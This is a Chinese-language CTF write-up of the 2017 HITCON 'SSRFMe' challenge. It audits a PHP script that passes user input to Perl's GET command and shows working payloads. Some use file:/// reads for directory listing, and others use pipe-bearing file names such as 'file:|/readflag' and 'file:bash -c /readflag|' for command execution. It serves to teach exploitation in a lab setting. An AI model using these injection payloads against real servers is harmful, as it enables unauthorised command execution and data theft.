2017HITCON-CTF-SSRFMe

Posted by CoCo1er on 2019-09-25
Words 1k and Reading Time 4 Minutes
Viewed Times

2017HITCON-CTF-SSRFMe

代码审计

​ 拿到题意直接给出了源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$sandbox = "sandbox/sandbox";
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

审计分析源码过程大致如下:

  • 进入./sandbox/sandbox目录
  • 执行GET命令,GET的内容可控
  • 将内容写入./sandbox/sandbox/filename
  • 最终直接访问./sandbox/sandbox/filename可以获取到GET执行获得的内容

GET初利用

​ 首先利用SSRF我们可以传入url=file:///&filename=456获得根目录的文件路径列表,访问/sandbox/sandbox/456 发现readflag和flag

​ 可是当我们想读取flag和readflag的时候,发现flag无法直接读取出来,readflag读取并下载出来发现ELF文件头,是一个可执行文件,猜测需要执行readflag这个文件才能获得flag。(猜测这个文件本身有可执行权限)

​ 于是我们需要执行命令运行这个可执行文件。

GET执行任意命令

​ 这里利用的是比较早就被爆出来的一个问题。这里的原理涉及到代码的底层实现,不过多深究,来自LoRexxar师傅的文章:

1
2
3
4
5
root@iZ285ei82c1Z:~/test# cat a.pl 
open(FD, "|id");
print <FD>;
root@iZ285ei82c1Z:~/test# perl a.pl
uid=0(root) gid=0(root) groups=0(root)

而perl里的GET函数底层就是调用了open处理

1
2
3
file.pm
84: opendir(D, $path) or
132: open(F, $path) or return new

open函数本身还支持file协议

1
2
3
4
5
6
7
8
9
10
11
12
13
root@iZ285ei82c1Z:~/test# cat /usr/share/perl5/LWP.pm
...
=head2 File Request
The library supports GET and HEAD methods for file requests. The
"If-Modified-Since" header is supported. All other headers are
ignored. The I<host> component of the file URL must be empty or set
to "localhost". Any other I<host> value will be treated as an error.
Directories are always converted to an HTML document. For normal
files, the "Content-Type" and "Content-Encoding" in the response are
guessed based on the file suffix.
Example:
$req = HTTP::Request->new(GET => 'file:/etc/passwd');
...

综合看起来是把一个文件名拼接入命令导致的命令执行。

(同理,我们对GET命令而言,通过传入命令文件名和命令来执行)

这里补充一点

​ perl在open中可以执行命令,格式有两种:

open(FD, "ls|")或open(FD, "|ls")

利用方式

1
2
3
GET file:ls|
GET file:|ls
//需要当前目录下存在与命令同名文件

这里我在kali虚拟机里测试了一下,发现只有 file:|id有效。但是参考网上wp,其中都是采用的 file:id|的方式

于是我又在vps上测试了一下

可以发现在vps下两种方式都是可行的,这里可能跟perl版本有关,具体原因有点迷。那么我们对题目进行测试的话两种都试一下。

Linux 执行文件

​ 首先必须要知道,对于一个可执行文件(Linux下具有”x”属性的文件),我们要执行这个文件(换句话来说就好比运行Windows下的exe文件)。

​ Linux下,如果文件是可执行文件,或者是脚本文件,只要有可执行权限就可以直接执行,操作命令如下:

./filename

在当前路径下对执行filename文件

绝对路径

直接给出可执行文件的绝对路径并回车

回来看我们的题,我们现在需要做的是执行根目录下的readflag,并且把readflag的内容写入某个文件,最后我们再访问该文件即可得到readflag执行后得到的结果。

payload

?url=&filename=|/readflag 创建与命令同名文件

?url=file:|/readflag&filename=123 执行命令

/sandbox/sandbox/123 访问执行结果

同时也试了另外一种(管道符在右边),并没有读出结果。看了网上的大多数复现,发现都是采用的管道符在右边这种形式,并且是以bash -c {命令}整体作为命令执行的

来自网上提供的解:

/?url=file:bash -c /readflag|&filename=bash -c /readflag| 创建相应的同名文件
/?url=file:bash -c /readflag|&filename=123 利用open的feature执行代码
最后直接访问/sandbox/sandbox/123就能得到flag